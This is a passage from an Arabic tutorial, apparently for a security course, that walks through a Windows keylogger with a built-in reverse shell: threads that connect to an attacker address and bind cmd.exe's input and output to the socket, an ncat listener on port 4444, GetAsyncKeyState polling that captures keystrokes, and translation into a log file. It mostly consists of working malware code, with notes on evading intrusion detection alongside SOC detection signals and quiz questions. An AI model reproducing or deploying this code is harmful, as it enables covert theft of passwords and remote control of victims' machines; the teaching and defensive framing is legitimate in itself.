  • عمليّة (Process): بيئة تنفيذ مستقلّة (ذاكرة خاصّة، جدول مقابض، عنوان قابل للتوصيف).
  • خيط (Thread): وحدة تنفيذ داخل عمليّة. تتقاسم الذاكرة مع الخيوط الأخرى في نفس العمليّة، لكن كلّ خيط له stack خاصّ به وعدّاد تنفيذ خاصّ (Program Counter).

Windows Task Manager يُظهر عدد الخيوط لكلّ عمليّة عند تفعيل عمود Threads. explorer.exe مثلاً يعمل بأكثر من 100 خيط، chrome.exe بمئات.

لماذا نحتاج ثلاثة خيوط بالتحديد؟

لدينا ثلاث مهامّ لا يمكن تسلسلها:

  1. صيانة الاتّصال بالمهاجم (ConnectThread): حلقة أبديّة تُعيد المحاولة.
  2. فتح صدفة cmd.exe (ShellThread): حلقة أبديّة تحاول CreateProcess حتى تنجح.
  3. تسجيل ضغطات المفاتيح (log): حلقة أبديّة تفحص كلّ VK code.

لو وضعناها متتاليةً في main:

cpp
main() {
    hide();
    // ...network init...
    connectLoop();      // ← يعلق هنا للأبد
    shellLoop();        // ← لن يُنفَّذ أبداً
    log();              // ← ولا هذا
}

الحلقة الأولى تحبس التنفيذ. الخيوط تحلّ هذا:

cpp
main() {
    hide();
    // ...network init...
    CreateThread(NULL, 0, ConnectThread, NULL, 0, NULL);   // منفصل
    CreateThread(NULL, 0, ShellThread,   NULL, 0, NULL);   // منفصل
    thread logThread(log);                                  // منفصل
    logThread.join();   // main تنام
}

الآن ثلاث حلقات تعيش بالتوازي، وكلٌّ منها له وحدة تنفيذ خاصّة.

تحت الجلد: كيف تتشارك الخيوط الوقت؟

  • معالج بأربعة أنوية = أربعة خيوط تعمل فعليّاً في نفس اللحظة.
  • عدد الخيوط > عدد الأنوية = المُجدوِل (Scheduler) يقسّم الوقت بين الخيوط (~10-15 ms لكلّ خيط قبل التبديل).
  • العملية الواحدة يمكن أن تحتوي على ألف خيط بلا مشكلة — النظام يديرها.

المزالق: البيانات المشتركة

لأنّ الخيوط تتقاسم الذاكرة، كلّ ما هو عالميّ يمكن قراءته وكتابته من أيّ خيط. في كودنا:

cpp
WSADATA wsaData;
SOCKET Winsock;
struct sockaddr_in hax;
STARTUPINFO ini_processo;
PROCESS_INFORMATION processo_info;

الخمسة عالميّة عمداً. المخاطر:

  • سباق كتابة/قراءة (Race condition): خيطان يعدّلان نفس المتغيّر في نفس اللحظة → فساد.
  • سباق قراءة أثناء كتابة: خيط يقرأ نصف كتابة خيط آخر → قيمة مركّبة سيّئة.
  • ترتيب التنفيذ: خيط يفترض أن آخر انتهى، والنظام يجدولهما بالعكس.

كودنا يقع في مزلق حقيقيّ: ConnectThread يكتب ini_processo كلّ دورة، بينما ShellThread يقرأ نفس البنية عند CreateProcess. لو جاء ShellThread أوّلاً لكان ini_processo قمامةً (لم تُصفَّر بعد). عمليّاً يعمل الكود لأنّ CreateThread تحتاج مايكروثوانٍ لبدء الخيط، بينما memset فوريّ — سباق مُلطَّف بالمصادفة.

الحلّ الصحيح: Mutex أو Critical Section أو Atomic — مادّة محاضرات لاحقة.

الأدوات في متناولنا

  • Win32 API: CreateThread, WaitForSingleObject, CloseHandle, TerminateThread.
  • C++11 القياسيّة: std::thread, .join(), .detach(), std::mutex, std::atomic.

كودنا يخلط الاثنين: CreateThread للخيطين الأوّلين (لتُري الطالب Win32)، std::thread للخيط الثالث (لتُري الطالب C++11 الحديث). في مشروع حقيقيّ يجب اختيار أحد النمطين للاتّساق.

✅ اختبر نفسك: القسم 4

  1. ما الفرق بين العمليّة والخيط في استهلاك الذاكرة؟
  2. لديك حلقة for تحتاج 30 ثانية على معالج نواة واحدة. لو قسّمتها على 4 خيوط على نفس النواة، هل تختصر الوقت؟ لماذا؟
  3. ما هو Race Condition، وما مثال منه في كودنا؟
  4. لماذا نستعمل join() بدل تركِ main تنتهي فوراً؟

القسم 5القسم 5: ConnectThread — تحويل stdio عملية قادمة إلى السوكِت

عندنا الآن سوكِت جاهز في يد main وعنوان مهاجم مكتوب في hax، ولم يُرسل بايت واحد بعد. الخيط الذي نحن بصدد قراءته هو الذي يوقظ كلّ هذا: يُهيّئ بنيةً غامضةً اسمها STARTUPINFO، ثم يطرق باب المهاجم في حلقة لا تنتهي. البنية هي القطعة الأهمّ في المشهد — بدونها لا صدفة عكسيّة، ومعها يصبح كلّ ما ستُطلقه من عمليّات فرعيّة يتنفّس عبر السوكِت. لنقرأها سطراً سطراً.

الدالّة كاملةً

cpp
DWORD WINAPI ConnectThread(LPVOID arg)
{
    for (;;)
    {
        memset(&ini_processo, 0, sizeof(ini_processo));
        ini_processo.cb        = sizeof(ini_processo);
        ini_processo.dwFlags   = STARTF_USESTDHANDLES;
        ini_processo.hStdInput = ini_processo.hStdOutput =
            ini_processo.hStdError = (HANDLE)Winsock;

        WSAConnect(Winsock, (SOCKADDR*)&hax, sizeof(hax),
                   NULL, NULL, NULL, NULL);
    }
    return 0;
}

الأوّل: ماذا يعني هذا التوقيع الغريب؟

DWORD WINAPI ConnectThread(LPVOID arg) — أربع كلمات لكلٍّ منها قصّة. DWORD هي القيمة التي سيُصبح الخيط عندما ينتهي؛ لن نصل إلى return 0; أبداً لأنّ for (;;) لا يُنهي نفسه، لكنّ المُصرِّف يتطلّبها. WINAPI مرادف لـ __stdcall، الاصطلاح الذي يفرضه Win32 على دوال الخيوط — لو نسيته على معالج 32-بت لانهار الـ stack عند انتهاء الخيط لأنّ C++ يُنظّف بأسلوب __cdecl بينما Win32 يُنظّف بأسلوب __stdcall. على 64-بت هذه المشكلة اختفت (اصطلاح واحد فقط)، لكنّ العادة بقيت. LPVOID arg معامل يُمرَّر من CreateThread — نستقبله ولا نستعمله (نُمرّر NULL من main).

الفخّ الحقيقيّ: STARTUPINFO والكذبة الجميلة

الأسطر الأربعة التالية تبدو كتعبئة روتينيّة لبنية:

cpp
memset(&ini_processo, 0, sizeof(ini_processo));
ini_processo.cb        = sizeof(ini_processo);
ini_processo.dwFlags   = STARTF_USESTDHANDLES;
ini_processo.hStdInput = ini_processo.hStdOutput =
    ini_processo.hStdError = (HANDLE)Winsock;

تعبئة، نعم — لكنّ ما نُعبّئه هو كذبة نتّفق عليها مع Windows. STARTUPINFO تُخبر النظام كيف نريد للعمليّة القادمة أن تبدأ: أين تكتب رسائلها، من أين تقرأ مدخلاتها. الافتراضيّ أن ترث الطفلة هذه المقابض من أمّها (لوحة مفاتيح، شاشة، إلخ). نحن نتدخّل ونقول للنظام: «لا. أَسْند الثلاثة كلّها — stdin و stdout و stderr — إلى هذا المقبض هنا. مقبض Winsock».

الآن قِف عند هذه الفكرة قليلاً. مقبض سوكِت ومقبض ملف ومقبض console — كلّها في نظر Windows نفس النوع (HANDLE). النظام لا يفرّق. حين تكتب عمليّة إلى stdout، فهي تنادي WriteFile على المقبض الذي هيّأناه، ولا تسأل «هل هذا console أم ملف أم سوكِت؟». printf, cout, WriteFile — كلّها تعمل. المُخرج يذهب حيث نُوجّهه.

عندما تصل ShellThread بعد قليل وتُطلق cmd.exe بهذه البنية، سترث cmd سوكِتنا مكان stdio الطبيعيّ. ما تطبعه cmd على «شاشتها» يصل إلى المهاجم عبر الشبكة. ما «يكتبه المستخدم على لوحة مفاتيح cmd» يأتي فعلاً من المهاجم. لقد بنينا صدفةً عكسيّةً، بلا سطر إضافيّ، بأربعة إسنادات لبنية.

الحقلان الصغيران قبل السحر

cb هو حجم البنية بالبايت. النظام يقرأه ليعرف أيّ إصدار من STARTUPINFO تستعمل (البنية توسّعت عبر إصدارات Windows). لو نسيته لتلقّيت خطأً غامضاً. STARTF_USESTDHANDLES راية تُخبر النظام: «انتبه، سأُعطيك مقابض stdio مخصّصة في hStdInput/Output/Error — لا تتجاهلها». بدونها يُهمل النظام الحقول التي عبّأناها للتوّ ويُعطي cmd مقابض stdio افتراضيّة، وينهار كلّ المخطّط.

هذا التسلسل الثلاثيّ (memset صفريّ ← cb = sizeof(...) ← عبّئ الحقول) نمط قياسيّ في Win32 يتكرّر مع WNDCLASSEX و SHFILEINFO و PROCESSENTRY32 وعشرات غيرها. البنية تحمل حجمها في أوّل حقل حتى يعرف النظام أيّ إصدار تستخدم — إذا رأيت هذا النمط تعرف أنّك تعامل واجهة Win32.

WSAConnect: الطرق على الباب، بلا فحص للردّ

الآن السطر الأخير:

cpp
WSAConnect(Winsock, (SOCKADDR*)&hax, sizeof(hax),
           NULL, NULL, NULL, NULL);

نُمرّر السوكِت، وعنوان الوجهة مصبوباً إلى النوع الأب SOCKADDR* (لأنّ WSAConnect تدعم sockaddr_in6 و sockaddr_un أيضاً — يجب أن يعرف أيّ نوع مرّرناه من حقل sin_family)، وحجم البنية، ثم أربع NULL لخيارات لا نستعملها.

لكن لاحظ ما لا تراه: القيمة المُرجَعة تذهب مباشرةً إلى القمامة. WSAConnect تُعيد 0 عند النجاح و SOCKET_ERROR عند الفشل، ولو لم يبدأ المهاجم ncat بعد لتلقّينا WSAECONNREFUSED. الكود لا يهتمّ. يعود إلى بداية الحلقة، يُصفّر البنية ثانيةً، يُعيد WSAConnect ثانيةً. إلى ما لا نهاية.

هذا اختيار مقصود — لكن مع أثمان. البساطة كاملة: لا فحص، لا فروع، لا حالات خطأ نديرها. الثمن ثقيل: استهلاك CPU مستمرّ، وفيض من محاولات TCP في السجلّ (SYN packets متلاحقة). أيّ IDS يُرى هذا فوراً. الكود الحقيقيّ الذي يريد التخفّي يُدرج Sleep(5000) بين محاولات، أو exponential backoff: انتظر ثانية، ثم ثانيتين، ثم أربعاً، إلى أن تصل حدّاً معقولاً. اختصرنا كلّ ذلك لنقاء الفكرة التعليميّة.

لماذا memset في كلّ دورة، لا مرّة واحدة؟

ini_processo عالميّة، فهي تبدأ صفريّةً تلقائيّاً (قاعدة C++). لماذا نُصفّرها ثانيةً في كلّ دورة من الحلقة؟

الجواب دفاعيّ. لو أنّ خيطاً آخر عدّل حقلاً بعد آخر مسح (نحن لا نملك مثل هذا الخيط، لكنّ الاحتراز مقصود)، نعيد البنية إلى حالة معروفة قبل بنائها من جديد. والأهمّ: العادة البرمجيّة في Win32 هي «صفّر ← ضع cb ← عبّئ»، ولو انحرفت عن هذا النمط سيعتقد قارئ الكود أنّك تعرف شيئاً هو لا يعرفه. الاتّساق مع النمط يُخبر القارئ «لا سرّ هنا، أنا مجرّد أتّبع القاعدة».

✅ اختبر نفسك: القسم 5

  1. ما دور dwFlags = STARTF_USESTDHANDLES؟ لو نسيتها ماذا يحدث؟
  2. لماذا نُسند نفس مقبض السوكِت لثلاثة حقول (stdin/stdout/stderr)؟
  3. لماذا لا يفحص الكود القيمة المُرجَعة من WSAConnect؟ وما البديل الصحيح؟
  4. لماذا memset في كلّ دورة وليس مرّة واحدة قبل الحلقة؟

القسم 6القسم 6: ShellThread — CreateProcess("cmd.exe") = صدفة عكسيّة

بنيتَ الآن بنية STARTUPINFO تُوجّه stdio إلى السوكِت. لكنّ البنية وحدها لا تفعل شيئاً — إنّها ورقة تعليمات تنتظر أن تُقدَّم لعمليّة جديدة. ShellThread هو من يُقدّمها، يُطلق cmd.exe، ويُتمّ ما بدأه ConnectThread. عندما تنتهي هذه الدالّة عملها، سيكون المهاجم يجلس أمام موجّه cmd> كأنّه في الغرفة نفسها. لنقرأها.

الدالّة كاملةً

cpp
DWORD WINAPI ShellThread(LPVOID arg)
{
    for (;;)
    {
        if (CreateProcess(NULL, "cmd.exe", NULL, NULL, TRUE, 0,
                          NULL, NULL, &ini_processo, &processo_info) == true)
        {
            break;
        }
        else
        {
            WSAConnect(Winsock, (SOCKADDR*)&hax, sizeof(hax),
                       NULL, NULL, NULL, NULL);
            CreateProcess(NULL, "cmd.exe", NULL, NULL, TRUE, 0,
                          NULL, NULL, &ini_processo, &processo_info);
        }
    }
    return 0;
}

CreateProcess: عشرة معاملات، وواحد يحمل السحر

CreateProcess من أعقد دوال Win32 في المعاملات. عشرة. لنُقدّم توقيعها الرسميّ أوّلاً لتفهم ما نُمرّره:

cpp
BOOL CreateProcess(
    LPCSTR                lpApplicationName,     // 1. اسم البرنامج (أو NULL)
    LPSTR                 lpCommandLine,         // 2. سطر الأوامر
    LPSECURITY_ATTRIBUTES lpProcessAttributes,   // 3. صفات أمان العملية
    LPSECURITY_ATTRIBUTES lpThreadAttributes,    // 4. صفات أمان الخيط الرئيسي
    BOOL                  bInheritHandles,       // 5. هل يرث المقابض؟
    DWORD                 dwCreationFlags,       // 6. رايات الإنشاء
    LPVOID                lpEnvironment,         // 7. متغيّرات البيئة
    LPCSTR                lpCurrentDirectory,    // 8. مجلد العمل
    LPSTARTUPINFO         lpStartupInfo,         // 9. STARTUPINFO
    LPPROCESS_INFORMATION lpProcessInformation   // 10. معلومات العملية الناتجة
);

قِيَمنا في السطر، معاملاً معاملاً:

#قيمتنالماذا
1NULLنُمرّر الاسم عبر lpCommandLine
2"cmd.exe"سطر الأوامر (Windows يبحث في PATH)
3NULLصفات أمان افتراضية
4NULLنفس الشيء
5TRUEحرجة — تسمح بتوريث مقابض السوكِت
60لا رايات خاصّة (لا CREATE_NO_WINDOW، لا DETACHED_PROCESS)
7NULLاستعمل بيئة العملية الأمّ
8NULLاستعمل مجلد عمل العملية الأمّ
9&ini_processoالحقل السحريّ الذي هيّأناه في ConnectThread
10&processo_infoتُملأ بمقابض العملية الناتجة و ThreadID

تسعة من عشرة قِيَم إمّا NULL أو ثابت بسيط. المعامل الوحيد الذي يحمل الوزن كلّه هو الخامس: TRUE. إليك لماذا.

bInheritHandles = TRUE: الجملة التي تكلّف كلّ شيء

افتراضيّاً، كلّ مقبض تفتحه عمليّة — ملف، سوكِت، pipe، mutex — يبقى ملكاً لها. عمليّة فرعيّة لا ترى شيئاً منها. هذا سلوك حكيم؛ لا نريد أن ترث كلّ برنامج تُطلقه من explorer.exe كلّ مقبضاته.

لكن يمكن كسر هذا الحاجز. عند إنشاء المقبض، يمكن رفع راية «قابل للتوارث» — إمّا في SECURITY_ATTRIBUTES.bInheritHandle، أو لاحقاً بـ SetHandleInformation. السوكِت الذي أنشأناه في القسم 2 قابل للتوارث افتراضيّاً (لأنّنا لم نُمرّر WSA_FLAG_NO_HANDLE_INHERIT). فإذا أطلقنا عمليّة فرعيّة بـ bInheritHandles = TRUE، تُنسخ كلّ المقابض القابلة للتوارث إلى الطفلة بنفس الأرقام.

النتيجة عمليّاً: cmd.exe تحصل على نسخة من مقبض Winsock برقم مطابق. مقابض stdin/stdout/stderr التي عيّناها في STARTUPINFO تُشير إليه. تنفّذ cmd أوامرها العاديّة — لا تعرف أنّها ليست في console حقيقيّة — وكلّ ما تطبعه يُرسَل عبر السوكِت. غيّرت TRUE إلى FALSE هنا واختفى كلّ شيء: cmd تُطلق، لكنّ مقابضها stdio لا تُوصل بأيّ شيء، فتخرج فوراً بخطأ، والمهاجم لا يرى شيئاً.

سطر واحد. كلمة واحدة. TRUE.

الحلقة الغريبة: لماذا نستدعي CreateProcess مرّتين؟

انظر إلى بنية for(;;) هنا وستلاحظ شيئاً غريباً:

cpp
for (;;) {
    if (CreateProcess(...) == true) {
        break;
    } else {
        WSAConnect(...);
        CreateProcess(...);   // ← مرّة ثانية، بلا break
    }
}

إن نجحت CreateProcess الأولى، نخرج. حتى الآن جميل. إن فشلت، ندخل else: نُعيد الاتّصال، ثمّ نستدعي CreateProcess ثانيةً بلا فحص وبلا break. ما فائدة الاستدعاء الثاني؟

نيّة المؤلّف واضحة نظريّاً: «لو فشل CreateProcess، فربّما لأنّ الاتّصال انقطع؛ أعِد الاتّصال ثمّ حاول مرّةً أخرى قبل العودة لبداية الحلقة». المشكلة أنّ الاستدعاء الثاني لا يفحص القيمة المُرجَعة ولا يخرج من الحلقة، فيعود التنفيذ إلى for(;;) من جديد. عمليّاً ينجح في النهاية لأنّ الحلقة تُعيد المحاولة، لكنّ الكود مربك عند القراءة.

كود إنتاج نظيف يكتبه هكذا:

cpp
while (true) {
    if (CreateProcess(...)) break;
    WSAConnect(...);   // أعد الاتصال
    Sleep(500);        // مهلة قبل المحاولة
}

فرصة تحسين تركناها للطالب — راجعها في homework.md.

على جانب المهاجم: اللحظة التي يجلس فيها أمام شاشتك

على Host PC، المهاجم يُشغّل مُنصتاً بسيطاً:

bash
ncat -lvp 4444

-l للإنصات، -v للإخبار عمّا يحدث، -p 4444 للمنفذ. يبدأ ncat منتظراً:

text
Ncat: Version 7.94 ( https://nmap.org/ncat )
Ncat: Listening on 192.168.56.1:4444

يُشغّل الضحية keylogger_edu.exe على الـ VM. بعد ثوانٍ يظهر عند المهاجم:

text
Ncat: Connection from 192.168.56.10.
Microsoft Windows [Version 10.0.19045.4780]
(c) Microsoft Corporation. All rights reserved.

C:\Users\Victim\Desktop>

وها هو. موجّه cmd كامل، PATH كامل، صلاحيّات كاملة للمستخدم المُصاب. whoami, dir, ipconfig — كلّها تعمل، والنتائج تعود ثانيةً.

من عيون الدفاع

محلّل SOC يراقب هذه العمليّة سيقفز مباشرةً على أربع إشارات، أيّ واحدة منها كافية لفتح تحقيق:

  • cmd.exe تعمل بلا نافذة console مرئيّة — نمط شاذّ يُثير أيّ EDR.
  • العمليّة الأمّ هي keylogger_edu.exe — اسم لا يوجد في أيّ ثنائيّ رسميّ في System32، لا في أيّ فهرس مطوّرين. عَلَم أحمر فوريّ.
  • اتّصال TCP خارجيّ على المنفذ 4444 — منفذ ذائع الصيت للصدفات (Metasploit, Meterpreter). كلّ SIEM يعرفه.
  • Sysmon Event ID 3 (Network connection) متبوعاً بـ Event ID 1 (Process create) لـ cmd.exe بترابط زمنيّ ضيّق (ثوانٍ) — نمط سلوكيّ ترصده أدوات SIEM الحديثة.

كلّ عنصر من هذه على حِدة قد يمرّ. مجتمعةً، الطالب يُنبّه الفريق قبل أن ينتهي المهاجم من whoami.

✅ اختبر نفسك: القسم 6

  1. لو غيّرت bInheritHandles إلى FALSE، ماذا سيكون سلوك cmd.exe الناتجة؟
  2. لماذا لا نُمرّر اسم البرنامج في المعامل الأول ونستعمل الثاني بدل ذلك؟
  3. ما الفرق بين dwCreationFlags = 0 و dwCreationFlags = CREATE_NO_WINDOW في هذا السياق؟
  4. محلّل SOC يرى keylogger_edu.exe → cmd.exe → connection to :4444. اذكر ثلاث إشارات إنذار سيرفعها.

القسم 7القسم 7: GetAsyncKeyState وسرّ القيمة -32767

هذا قلب الـ keylogger. كلّ سطر آخر (الاختفاء، الشبكة، الصدفة) هو تحضير — لكن هنا نلتقط الضغطات فعليّاً. الدالّة GetAsyncKeyState تُخبرنا عن أيّ مفتاح: «هل هو مضغوط الآن؟ وهل ضُغط منذ آخر مرّة سألتك؟». الإجابة على هذين السؤالين مُرمّزة في 16 بت، والقيمة -32767 بالتحديد هي التي نبحث عنها. لماذا هذا الرقم الغريب؟ لأنّه يُترجم إلى «الاثنان معاً»، ومن دون هذا الفحص يتحوّل كلّ ضغطة إلى مئات التسجيلات. لنُفكّك المعنى بت بت.

التوقيع البسيط

cpp
SHORT GetAsyncKeyState(int vKey);

معامل واحد (رمز VK: قائمة كاملة في <winuser.h>)، وقيمة مُرجَعة SHORT بـ 16 بت. البساطة الظاهرة تُخفي عبقريّة التصميم: بتّان فقط من الـ 16 يحملان معلومات مفيدة، والباقي محجوز صفريّاً. لكنّ اختيار موقع البتّين هو الذي يجعل الفحص == -32767 يعمل.

تفكيك القيمة المُرجَعة

بت 15 (الأعلى) يقول: «مضغوط الآن» (1 = نعم، 0 = لا). بت 0 (الأقلّ) يقول: «ضُغط منذ آخر استدعاء لـ GetAsyncKeyState» (1 = نعم، 0 = لا). البقيّة صفريّة.

البتّاتثنائيّاًسِتّ عشريّقيمة SHORTالمعنى
لا شيء00000000000000000x00000غير مضغوط ولم يُضغط
بت 15 فقط10000000000000000x8000-32768مضغوط الآن، لكن كان مضغوطاً منذ آخر مسح (تكرار)
بت 0 فقط00000000000000010x00011ليس مضغوطاً الآن، لكن ضُغط ثم أُفلت بين مسحين
كلاهما10000000000000010x8001-32767مضغوط الآن ولأوّل مرّة ← وهذا ما نريد

الجدول أعلاه هو المرجع الكامل — احفظه أو ارجع إليه عند الحاجة. لكنّ قصّة الأرقام السالبة تستحقّ فقرة.

لماذا الأرقام السالبة أصلاً؟

SHORT في C++ مُوقَّع افتراضيّاً. عندما نضبط بت 15 (الأعلى)، فإنّ C++ يُفسّرها في two's complement على أنّها إشارة سالب. 0x8000 تُصبح -32768، و 0x8001 تُصبح -32767. لا سحر — قاعدة تمثيل الأرقام.

كودنا يستعمل == -32767 مباشرةً. الأنظف تقنيّاً هو:

cpp
if (GetAsyncKeyState(c) & 0x8001)   // كلا البتّين مضبوطان

نفس النتيجة، أوضح لمن يعرف عمليّة bitwise AND. لكنّ الكود التعليميّ يُفضّل قيمة عدديّة واحدة يراها المبتدئ ويقارنها مباشرةً. أيّ الأسلوبين تختار، عليك أن تفهم لماذا -32767 هي القيمة السحريّة — والجواب في الجدول أعلاه.

لماذا فحص بت 0 حرج: كارثة hhhhh

تخيّل أنّنا اكتفينا بفحص «مضغوط الآن» (بت 15) بلا بت 0. الحلقة الخارجيّة تُعيد المسح مئات المرّات في الثانية. الضحية ضغط مفتاح h ثانيةً واحدة قبل أن يُفلته. النتيجة:

text
hhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhh

كلّ مسح يُطابق «مضغوط الآن» فيكتب h. يصير السجلّ قمامةً لا تفيد أحداً.

بت 0 يحلّ هذا. النظام يضبطه على 1 مرّة واحدة — عند أوّل استدعاء يلي الضغطة. الاستدعاءات التالية (طالما المفتاح ما زال مضغوطاً) تُعيد -32768 (بت 15 وحده). شرطنا == -32767 يقبل الأوّل ويرفض الباقي. تُسجَّل الضغطة مرّةً واحدةً، كما نريد.

هذه القاعدة السلوكيّة (البت الأدنى يُصفَّر بعد أوّل قراءة) موثّقة في winuser.h. مصمّمو Win32 وضعوها هناك لأنّهم توقّعوا استعمالاً كهذا بالضبط.

عيب صغير: مفتاحان يُضغطان في نفس المسح

تخيّل أنّ الضحية ضغط H أوّلاً ثم E بعد ميكروثانية، ونحن في المسح c = 8, 9, 10, .... نصل إلى c = 69 (E) قبل c = 72 (H). نفحص E → -32767 → نكتبها. نُواصل إلى H → قد يكون النظام قد أفرغ بت 0 (لأنّه رأى الضغط قبل أن نصل إلى H) → -32768 → نتجاهلها.

نادر عمليّاً لأنّ المسح ينتهي في ميكروثوانٍ، لكنّه ممكن نظريّاً. لا يوجد إصلاح داخل نمط polling — تحتاج hook لضمان عدم فقد ضغطة، وهذا ثمن الكشف الأعلى. اختيار.

GetAsyncKeyState مقابل GetKeyState: فخّ الاسم

الاسمان متشابهان، الفرق جوهريّ. GetKeyState(vKey) يقرأ الحالة من قائمة انتظار الرسائل للخيط الحاليّ — يحتاج معالجة أحداث (event loop) لتحديث الحالة، ولا يعمل داخل خيط لا يمتلك نافذة. GetAsyncKeyState(vKey) يقرأ الحالة العالميّة الحقيقيّة من درايفر لوحة المفاتيح — مستقلّ عن أيّ نافذة، يعمل في أيّ سياق.

خيطنا log() بلا نافذة أصلاً، فلا خيار سوى GetAsyncKeyState. اسمها مضلّل قليلاً («async» توحي بأنّها لا تعطي نتيجة فوريّة)، لكنّ الاسم يعني هنا «مستقلّ عن قائمة الرسائل» لا «غير متزامن».

لماذا polling وليس hook؟

Windows يوفّر آليّتين لالتقاط لوحة المفاتيح:

الاختلافPolling (GetAsyncKeyState)Hook (SetWindowsHookEx WH_KEYBOARD_LL)
آليّة العملنسأل النظام دوريّاًالنظام يستدعي دالتنا عند كلّ ضغطة
استهلاك CPUمستمرّ (~2-8%)قريب من الصفر
احتمال فقد ضغطاتموجود (نادر)معدوم
تعقيد الكودسطرانDLL منفصلة في معظم الحالات
سهولة الكشفاستهلاك CPU غير مبرَّرSysmon Event ID 22 (تسجيل hook منخفض المستوى)

اخترنا polling لأنّه أبسط تعليميّاً — سطرا كود بدل قائمة معقّدة — وأصعب كشفاً في السلوكيّات (استهلاك CPU يبدو كأيّ عمليّة مشغولة). Hooks أنظف تقنيّاً وأكثر دقّة، لكنّها أظهر كشفاً في اللوحات الحديثة (Sysmon يرصد hooks منخفضة المستوى صراحةً). كلّ اختيار له ثمن.

✅ اختبر نفسك: القسم 7

  1. اكتب فحصاً بديلاً لـ GetAsyncKeyState(c) == -32767 باستعمال العمليّة على مستوى البتّات.
  2. لماذا يفشل GetKeyState داخل خيط log() في كودنا؟
  3. لو حذفنا فحص بت 0 (الأدنى)، ماذا سيحدث للسجلّ عند كتابة الضحيّة لكلمة hello؟
  4. محلّل SOC يرى عمليّة تستهلك 5% CPU بلا سبب ظاهر، والفحص يُظهر أنّها تنادي GetAsyncKeyState مئات المرّات في الثانية. ما استنتاجه؟

القسم 8القسم 8: ثلاث مناطق ترجمة — صغير، كبير، خاصّ

عندما يتحقّق شرط -32767، ندخل في الترجمة: تحويل رمز VK إلى بايتات نصّيّة تُكتب في السجلّ.

المنطقة 1: حرف A-Z بلا Shift → صغير

cpp
if ((c > 64) && (c < 91) && !(GetAsyncKeyState(0x10))) {
    c += 32;
    write << c;
    write.close();
    break;
}
  • c > 64 && c < 91: رموز VK من 65 (A) إلى 90 (Z).
  • !(GetAsyncKeyState(0x10)): Shift ليس مضغوطاً (0x10 = VK_SHIFT).
  • c += 32: خدعة ASCII. الحرف A = 65، a = 97 = 65+32. جدول ASCII صُمِّم عمداً بحيث الفرق بين الحرف الكبير والصغير = 32.
  • write << c: يكتب البايت المُترجم.
  • break: يخرج من حلقة for c، فتُعاد من رمز 8.

لماذا الخدعة +32؟ لأنّ رمز VK لكلّ حروف A-Z هو نفس رمز الحرف الكبير في ASCII (65-90). Windows لا يميّز بين ضغطة A و a — نفس المفتاح، نفس الرمز. الفرق يأتي من حالة Shift. نُضيف 32 لنحصل على الصغير.

المنطقة 2: حرف A-Z مع Shift → كبير

cpp
else if ((c > 64) && (c < 91)) {
    write << c;
    write.close();
    break;
}
  • نفس الشرط c > 64 && c < 91، لكن هذه المرّة Shift مضغوط ضمنيّاً (المنطقة 1 لم تُطابَق).
  • نكتب c كما هو (65-90 = A-Z في ASCII).

المنطقة 3: كلّ ما تبقّى

cpp
else {
    switch (c) {
        case 48: if (GetAsyncKeyState(0x10)) write << ")"; else write << "0"; break;
        case 49: if (GetAsyncKeyState(0x10)) write << "!"; else write << "1"; break;
        // ...بقية الأرقام 50-57 بنفس النمط...
        
        case VK_LBUTTON:  write << " <Leftclick> \n"; break;
        case VK_RBUTTON:  write << " <Rightclick> "; break;
        case VK_BACK:     write << "<backspace>"; break;
        case VK_TAB:      write << "<\t\t>"; break;
        case VK_RETURN:   write << "<enter> \n"; break;
        case VK_SHIFT:    write << "<shift> \n"; break;
        case VK_CONTROL:  write << "<control>"; break;
        case VK_MENU:     write << "<Alt>"; break;
        case VK_CAPITAL:  write << "<Capslock>"; break;
        case VK_ESCAPE:   write << "<escape>"; break;
        case VK_SPACE:    write << " "; break;
        case VK_LEFT:     write << "<Leftarrow>"; break;
        case VK_UP:       write << "<Uparrow>"; break;
        case VK_RIGHT:    write << "<Rightarrow>"; break;
        case VK_DOWN:     write << "<Downarrow>"; break;
        case VK_DELETE:   write << "<delete>"; break;
        case VK_F1:  write << "F1";  break;
        case VK_F2:  write << "F2";  break;
        // ... F3..F12، NUMLOCK، SCROLL، LSHIFT/RSHIFT ...
        
        case VK_OEM_1:      write << "<;:>"; break;    // ;:
        case VK_OEM_PLUS:   write << "<+>"; break;
        case VK_OEM_COMMA:  write << "<comma>"; break;
        case VK_OEM_MINUS:  write << "<->"; break;
        case VK_OEM_PERIOD: write << "<.>"; break;
        case VK_OEM_2:      write << "</? >"; break;   // /?
        case VK_OEM_3:      write << "<`~>"; break;    // `~
        case VK_OEM_4:      write << "<{[>"; break;    // [{
        case VK_OEM_5:      write << "<|\\>"; break;   // \|
        case VK_OEM_6:      write << "<]}>"; break;    // ]}
        case VK_OEM_7:      write << "<'\">"; break;   // '"
        
        default: write << c; break;
    }
    write.close();
    break;
}

لماذا مزج الأرقام (48-57) مع أسماء VK (VK_RETURN)؟

  • الأرقام تفرضها ASCII: مفتاح 0 = رمز 48 = '0' نفسه. لا فائدة من ثابت اسمه VK_0.
  • المفاتيح غير المطبوعة (Enter, Backspace, F1...) ليس لها بايت ASCII مباشر → نستعمل أسماء VK للوضوح.
  • مفاتيح OEM (رموز الترقيم غير القياسية عالميّاً) — أسماء VK_OEM_* تعكس أنّها تختلف بلوحات المفاتيح الأجنبيّة (لوحة مفاتيح فرنسيّة/عربيّة/يابانيّة تُعيد VK codes مختلفة عمّا تُطبع).

لماذا الأوصاف بين قوسي زاوية <...>؟

  • سهولة القراءة لاحقاً: <enter> أوضح من كتابة بايت 0x0D.
  • تفريق بين المفتاح والنصّ: لو ضغط الضحيّة h <enter> i، السجلّ يقرأ بوضوح.
  • أسماء مطابقة للنقاش (Blue Team → Red Team): «<backspace> مسبوق بـ p@ssw0rd = خطأ في كلمة السرّ ثم تصحيح».

عيوب هذا التصميم البسيط

  • لا Unicode: char بايت واحد، فلا يدعم أحرف عربيّة أو صينيّة. الحرف العربيّ يظهر كسلسلة <>< ><> قمامة.
  • لا لوحة معدّلة: لو الضحيّة على لوحة AZERTY (فرنسا) بدل QWERTY، الرمز 65 (A) قد يكون Q في التخطيط الفرنسي — لكنّه يُكتب a في سجلّنا.
  • Ctrl+C غير موصوف: يُكتب <control> ثم c منفصلين. يجب استنتاج المُركَّب من التسلسل.
  • لا تمييز بين لوحة أرقام NumPad ولوحة أرقام رئيسيّة: VK codes مختلفة (VK_NUMPAD0, VK_0) لكنّ الترجمة تُنتِج نفس البايت.

تحسين مقترح (Homework)

  • إضافة Window Title لكلّ ضغطة: GetForegroundWindow + GetWindowTextA. يصبح السجلّ:
    text
    [Notepad] hello<enter>
